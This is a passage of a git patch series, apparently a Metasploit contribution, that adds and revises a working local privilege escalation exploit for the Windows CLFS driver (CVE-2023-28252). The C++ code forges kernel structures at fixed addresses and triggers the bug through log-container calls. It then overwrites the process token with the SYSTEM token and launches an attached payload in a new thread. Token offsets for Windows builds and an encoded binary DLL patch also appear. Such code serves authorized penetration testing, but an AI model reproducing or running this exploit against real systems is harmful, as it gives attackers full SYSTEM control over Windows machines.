*(UINT64*)0x5001038 = fnClfsEarlierLsn; - *(UINT64*)0x5001040 = fnClfsEarlierLsn; - *(UINT64*)0x5000068 = fnClfsMgmtDeregisterManagedClient; - *(UINT64*)0x5000048 = 0x5000400; - *(UINT64*)0x5000400 = 0x5001300; - *(UINT64*)0x5000448 = para_PipeAttributeobjInkernel + 0x18; - *(UINT64*)0x5001328 = fnClfsEarlierLsn; - *(UINT64*)0x5001308 = fnSeSetAccessStateGenericMapping; - - - CloseHandle(logFile); - - - - logFile = CreateLogFile(stored_name_CreateLog, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0); - - int const_0x5a = 0x5a; - - - - _NtFsControlFile(hPipeWrite, 0, 0, 0, &status_block, 0x110038, &const_0x5a, 2, temp_chunk, 0x2000); - + { + _int64 v57 = (_int64)temp_chunk; + + dprintf("TRIGGER START\n"); + + resul = AddLogContainer(store_handles[contador_3], (PULONGLONG)&pcbContainer2, stored_container_arrays[contador_3], 0);// AddLogContainer + + *(UINT64*)0x5000040 = 0x5000000; + *(UINT64*)0x5000000 = 0x5001000; + *(UINT64*)0x5001000 = fnClfsEarlierLsn; + *(UINT64*)0x5001008 = fnPoFxProcessorNotification; + *(UINT64*)0x5001010 = fnClfsEarlierLsn; + *(UINT64*)0x5001018 = fnClfsEarlierLsn; + *(UINT64*)0x5001020 = fnClfsEarlierLsn; + *(UINT64*)0x5001028 = fnClfsEarlierLsn; + *(UINT64*)0x5001030 = fnClfsEarlierLsn; + *(UINT64*)0x5001038 = fnClfsEarlierLsn; + *(UINT64*)0x5001040 = fnClfsEarlierLsn; + *(UINT64*)0x5000068 = fnClfsMgmtDeregisterManagedClient; + *(UINT64*)0x5000048 = 0x5000400; + *(UINT64*)0x5000400 = 0x5001300; + *(UINT64*)0x5000448 = para_PipeAttributeobjInkernel + 0x18; + *(UINT64*)0x5001328 = fnClfsEarlierLsn; + *(UINT64*)0x5001308 = fnSeSetAccessStateGenericMapping; + CloseHandle(logFile); - pos_token = (unsigned int)system_EPROCESS_low + (unsigned int)token_offset; + logFile = CreateLogFile(stored_name_CreateLog, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0); - //printf("pos_token: %x\n", pos_token); + int const_0x5a = 0x5a; + _NtFsControlFile(hPipeWrite, 0, 0, 0, &status_block, 0x110038, &const_0x5a, 2, temp_chunk, 0x2000); - System_token_value2 = *(UINT64*)((UINT64)pos_token + (UINT64)temp_chunk); + pos_token = (unsigned int)system_EPROCESS_low + (unsigned int)token_offset; - dprintf("System_token_value: %p\n", (void*)System_token_value2); + dprintf("pos_token: %x\n", pos_token); - + System_token_value2 = *(UINT64*)((UINT64)pos_token + (UINT64)temp_chunk); - if (*(UINT64*)(pos_token + (UINT64)temp_chunk) >= 0x8181818181818181) { - dprintf("SYSTEM TOKEN CAPTURED"); - break; - } - else { - dprintf("TRYING AGAIN\n"); - } - contador_3++; + printf("System_token_value: %p\n", (void*)System_token_value2); + if (*(UINT64*)(pos_token + (UINT64)temp_chunk) >= 0x8181818181818181) { + dprintf("SYSTEM TOKEN CAPTURED"); + break; + } + else { + dprintf("TRYING AGAIN\n"); } + contador_3++; + } + *(UINT64*)0xFFFFFFFF = *(UINT64*)(pos_token + (UINT64)temp_chunk);// system token write content + *(UINT64*)0x100000007 = System_token_value; + *(UINT64*)0x5000448 = g_EProcessAddress + token_offset - 8;// target wire address + CreateLogFile(stored_name_CreateLog, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0); + *(UINT64*)0xFFFFFFFF = 0x1458; + *(UINT64*)0x100000007 = 0164; + *(UINT64*)0x5000448 = CLFS_kernelAddrArray + 0x390; + CreateLogFile(stored_name_CreateLog, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0); - *(UINT64*)0xFFFFFFFF = *(UINT64*)(pos_token + (UINT64)temp_chunk);// system token write content - *(UINT64*)0x100000007 = System_token_value; - *(UINT64*)0x5000448 = g_EProcessAddress + token_offset - 8;// target wire address - CreateLogFile(stored_name_CreateLog, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0); + dprintf("Closing Handle\n"); + CloseHandle(logFile); - *(UINT64*)0xFFFFFFFF = 0x1458; - *(UINT64*)0x100000007 = 0164; - *(UINT64*)0x5000448 = CLFS_kernelAddrArray + 0x390; - CreateLogFile(stored_name_CreateLog, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0); + TCHAR username[500]; + DWORD size = 500; - dprintf("Closing Handle\n"); - CloseHandle(logFile); + if (GetUserName((TCHAR*)username, &size)) { + std::wcout << "ACTUAL USER=" << username << std::endl; + } + else { + std::cerr << "Error: " << GetLastError() << std::endl; + } - TCHAR username[500]; - DWORD size = 500; + if (strcmp(username, "SYSTEM") == 0) { + dprintf("WE ARE SYSTEM\n"); + } + else { + dprintf("NOT SYSTEM\n"); + } - if (GetUserName((TCHAR*)username, &size)) { - std::wcout << "ACTUAL USER=" << username << std::endl; - } - else { - std::cerr << "Error: " << GetLastError() << std::endl; - - } + return; - if (strcmp(username, "SYSTEM") == 0){ - dprintf("WE ARE SYSTEM\n"); - } - else { - dprintf("NOT SYSTEM\n"); - } - - return; - -} +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2023-28252/CVE-2023-28252/clfs_eop.h b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/clfs_eop.h index cedb0eea8188..0cb7d468efd1 100755 --- a/external/source/exploits/CVE-2023-28252/CVE-2023-28252/clfs_eop.h +++ b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/clfs_eop.h @@ -17,18 +17,6 @@ #pragma comment(lib, "ntdll.lib") #pragma comment(lib, "Clfsw32.lib") - - -/* -/* -Windows Server 2016 Standard ------> -Windows Server 2019 Standard ------> 17763 token offset: 0x358 decimal: 856 -Windows Server 2022 Standard ------> 20348 token offset: 0x4b8 decimal: 1208 -Windows 10 Pro Version 21H1 -------> 19041 19043 offset: 0x4b8 decimal: 1208 -Windows 10 Pro Version 21H2 -------> 19041 offset: 0x4b8 decimal: 1208 -Windows 11 Pro Version 21H2 -------> 22000 token offset: 0x4b8 decimal: 1208 -*/ - VOID FindKernelModulesBase(); // diff --git a/external/source/exploits/CVE-2023-28252/CVE-2023-28252/exploit.cpp b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/exploit.cpp index 1ee7e223b6db..a390869d07e2 100755 --- a/external/source/exploits/CVE-2023-28252/CVE-2023-28252/exploit.cpp +++ b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/exploit.cpp @@ -1,14 +1,9 @@ #pragma once -#define DEBUGTRACE 1 #include "common.h" #include "clfs_eop.h" -#include "exploit.h"\ +#include "exploit.h" #include -//const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL; -//fNtQuerySystemInformation NtQuerySystemInfo = NULL; -//fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL; - void ExecutePayload(PMSF_PAYLOAD pMsfPayload) { if (!pMsfPayload) return; @@ -19,61 +14,10 @@ void ExecutePayload(PMSF_PAYLOAD pMsfPayload) { CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pPayload, NULL, 0, NULL); } -BOOL ResolveRequirements(DWORD dwMajor, DWORD dwMinor, DWORD dwBuild) { - - //dwBuild = LOWORD(dwBuild); - ////dprintf("[*] Windows version: %u.%u.%u", dwMajor, dwMinor, dwBuild); - //if ((dwMajor == 10) && (dwMinor == 0)) { - // if ((dwBuild >= 14393) && (dwBuild <= 19045)) { - // if ((dwBuild < 15063)) { - // g_pEprocessOffsets = &EprocessOffsetsWin10v1607; - // } - // else if ((dwBuild < 16299)) { - // g_pEprocessOffsets = &EprocessOffsetsWin10v1703; - // } - // else if ((dwBuild < 17134)) { - // g_pEprocessOffsets = &EprocessOffsetsWin10v1709; - // } - // else if ((dwBuild < 17763)) { - // g_pEprocessOffsets = &EprocessOffsetsWin10v1803; - // } - // else if ((dwBuild < 18362)) { - // g_pEprocessOffsets = &EprocessOffsetsWin10v1809; - // } - // else if ((dwBuild < 19041)) { - // g_pEprocessOffsets = &EprocessOffsetsWin10v1903; - // } - // else if ((dwBuild < 19043)) { - // g_pEprocessOffsets = &EprocessOffsetsWin10v2004; - // } - // else if ((dwBuild == 19044)) { - // g_pEprocessOffsets = &EprocessOffsetsWin10v21H2; - // } - // else if ((dwBuild == 19045)) { - // g_pEprocessOffsets = &EprocessOffsetsWin10v21H2; - // } - // } - // else if (dwBuild == 22000) { - // g_pEprocessOffsets = &EprocessOffsetsWin11v21H2; - // } - // else if (dwBuild == 20348) { - // g_pEprocessOffsets = &EprocessOffsetsWinServer2022; - // } - //} - //else { - // return FALSE; - //} - return TRUE; -} - -DWORD Exploit(PMSF_PAYLOAD pPayload) { +DWORD Exploit(PMSF_PAYLOAD pPayload) { clfs_eop ce = clfs_eop::clfs_eop(); - - //TODO: Remove manage_args function and set token offsets based on determined windows verion. - TCHAR* argv[] = { _T("program.exe"), _T("arg1"), _T("arg2") }; - ce.manage_args(2, argv); ce.getVirtualAddress(); ce.InitEnvironment(); @@ -82,7 +26,6 @@ DWORD Exploit(PMSF_PAYLOAD pPayload) { ce.fun_prepare(); ce.to_trigger(); - dprintf("Aboue to execute pPayload"); ExecutePayload(pPayload); return 0; From 97dd22032c8c846f5bfffcefdef690b220c75be3 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Mon, 21 Aug 2023 19:20:25 -0400 Subject: [PATCH 5/8] Responded to comments, improved stability --- .../CVE-2023-28252/CVE-2023-28252.x64.dll | Bin 318464 -> 318976 bytes .../CVE-2023-28252/CVE-2023-28252/exploit.cpp | 48 +++++++++++++++--- .../local/cve_2023_28252_clfs_driver.rb | 7 +-- 3 files changed, 45 insertions(+), 10 deletions(-) mode change 100644 => 100755 data/exploits/CVE-2023-28252/CVE-2023-28252.x64.dll diff --git a/data/exploits/CVE-2023-28252/CVE-2023-28252.x64.dll b/data/exploits/CVE-2023-28252/CVE-2023-28252.x64.dll old mode 100644 new mode 100755 index e48a16b520cf21b4f6a197be4f0e54a30dbd8a60..98d721a873ee8b3bf017e9f343fdf234063cc413 GIT binary patch delta 69841 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 